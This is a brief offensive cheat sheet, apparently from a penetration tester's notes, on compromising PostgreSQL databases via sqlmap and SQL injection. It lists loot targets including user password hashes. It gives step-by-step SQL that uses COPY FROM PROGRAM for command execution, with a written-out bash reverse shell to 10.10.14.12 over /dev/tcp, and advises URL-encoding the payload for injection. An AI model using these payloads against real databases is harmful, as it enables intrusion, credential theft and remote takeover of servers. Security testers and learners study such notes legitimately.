PostgreSQL
Compromising DB - [sqlmap code]:
Properties:
Nested Queries= query1;query2;...
Interact with DB via cmd line: psql quit: \q
Loot: 1. DBMS Version 2. Database Content 3. DBMS Users Password Hashes 4. OS Shell
OS Shell [ v9.3âv14 ]:
1. DROP TABLE IF EXISTS cmd_exec; 2. CREATE TABLE cmd_exec(cmd_output text); 3. COPY cmd_exec FROM PROGRAM '<cmd>' For eg. COPY cmd_exec FROM PROGRAM 'bash -c "/bin/bash -l > /dev/tcp/10.10.14.12/7909 0<&1 2>&1"' Note: single quotes needed for command. URL encode the whole POST/GET data.
Last updated